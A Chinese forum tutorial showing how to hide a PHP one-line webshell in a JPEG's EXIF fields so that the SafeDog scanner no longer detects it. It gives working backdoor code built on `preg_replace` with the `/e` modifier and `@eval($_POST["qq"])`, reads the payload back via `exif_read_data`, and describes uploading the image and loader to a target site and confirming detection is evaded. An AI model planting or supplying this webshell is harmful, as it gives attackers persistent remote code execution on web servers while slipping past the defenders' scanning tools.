隐藏在图片里的后门

一、前言

本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!

先说明三点:

 

  • 这个后门就是一句话木马
  • 这个不同于我们常说的图片马
  • 这个后门是过安全狗的


这个不算什么新姿势,只不过被提到的次数比较少

(各大论坛常见的,无非编码、解码、分割等,本文不属于以上几种)

而且咱们i春秋论坛没有相关资料,小弟就来抛砖引玉了。

学习本教程应具备的基础:
 

  • 基本了解一句话木马
  • 会一点点php(善于百度自学的也算)
  • 基本了解正则匹配


第一点看我以前写的教程就可以了:

文字教程就在咱们论坛:

http://bbs.ichunqiu.com/thread-17816-1-1.html


二、正文

2.1 先看看效果


下面就是木马的代码:

php  $x = exif_read_data('1.jpg'); preg_replace($x['Model'], $x['Make'], ''); ?>


当然不光这个php文件,还有一个隐藏了后门的图片。

也就是上面那段代码里面的1.jpg

隐藏在图片里的后门_第1张图片

将图片和php文件,这两都上传的目标站点,这里用dvwa演示:

隐藏在图片里的后门_第2张图片

然后访问:

隐藏在图片里的后门_第3张图片

成功!

好了,再回来看看这个木马:



  $x = exif_read_data('4.jpg');

  preg_replace($x['Model'], $x['Make'], '');

 ?>


有经验的表哥估计已经看出端倪了,这个就是preg_replace代码执行


下面开始教学吧。

2.2 preg_replace代码执行

我们都知道正则匹配有八个修正符。

i是表示不区分大小写

x表示模式中的空白忽略不计,这个不是本次教程的重点,也就不多说,

没这方面基础的同学,赶快去菜鸟学院(上面有提供链接)恶补一下

而咱们要用到的就是e

php里只有preg_replace函数能使用这个修正符

使用e修饰符,preg_replace会将 replacement 参数(第二个参数)当作 PHP 代码执行

php  preg_replace('/.*/e', '@eval($_POST["qq"])', ''); ?>


这个就是之前的一句话木马的原型了。

.*表示匹配所有字符

把它替换成@eval($_POST["qq"]),然后执行这个eval函数

为了让你们更清楚,我修改成以下代码:

php  preg_replace('/.*/e', 'print_r("hello world")', ''); ?>


隐藏在图片里的后门_第4张图片

.在正则表达式里,匹配除 "\n" 之外的任何单个字符。

*表示匹配前面的子表达式零次或多次。

将要被处理的字符串,也就是pregreplace里第三个参数是空,也会被匹配到,并且将之替换成printr("hello world"),执行!

因此结果就如图片那样,显示hello world

因此替换成一句话木马,@eval($_POST["qq"]),也是可以执行

隐藏在图片里的后门_第5张图片

是不是很神奇,可惜安全狗知道你是木马。。

隐藏在图片里的后门_第6张图片

因此,咱们要把一句话藏在图片里,然后再调用。

如果正则表达式不过关的话,这里是很难理解的。

2.3 什么是EXIF

Exif就是在JPEG格式头部插入了数码照片的信息,包括拍摄时的光圈、快门、白平衡、ISO、焦距、日期时间等各种和拍摄条件以及相机品牌、型号、色彩编码、拍摄时录制的声音以及GPS全球定位系统数据、缩略图等。

ctf的某些图像隐写术题,就会把flag藏在exif里面

php中用函数exifreaddata可以读取jpeg的exif信息



  echo '
';

  print_r(exif_read_data('1.jpg'));

  echo '
'
; ?>


隐藏在图片里的后门_第7张图片

这个就是隐藏了flag的图片

我们把他重命名为1.jpg,放在上面那段php的目录下

运行:

隐藏在图片里的后门_第8张图片

这样就读取到了这个图片的exif信息

2.4 开始制作木马

我们需要用到工具:exif pilot

他可以修改jpg图片的exif信息:

隐藏在图片里的后门_第9张图片

工具使用很简单,下载来就能直接上手。

用php的exifreaddata函数读取这个刚刚修改的图片看看:

隐藏在图片里的后门_第10张图片

现在,再回过头看看那段代码,应该很清楚了吧

php $x = exif_read_data('1.jpg'); preg_replace($x['Model'], $x['Make'], ''); //实际等于preg_replace('/.*/e', '@eval($_POST["qq"])', '') ?>


读取同目录下,1.jpg的exif信息,存在$x里

注意,$x是数组。

咱们的正则表达式存在了$x['Model']

一句话存在$x['Make']

注意区分大小写!

咱们执行看看:


隐藏在图片里的后门_第11张图片

成功,看不懂的去看我的一句话木马教程。

再看看安全狗的反应,咱们的木马文件名依旧是text1.php

隐藏在图片里的后门_第12张图片


这时候已经扫不出来了23333

三、结束语

此文是我看一篇国外的文章后写的,那篇文章已经有些年代了,所以我说不是什么新姿势,但过狗啊2333

而且这也能开阔思维,抛砖引玉。

你可能感兴趣的:(PHP,web安全)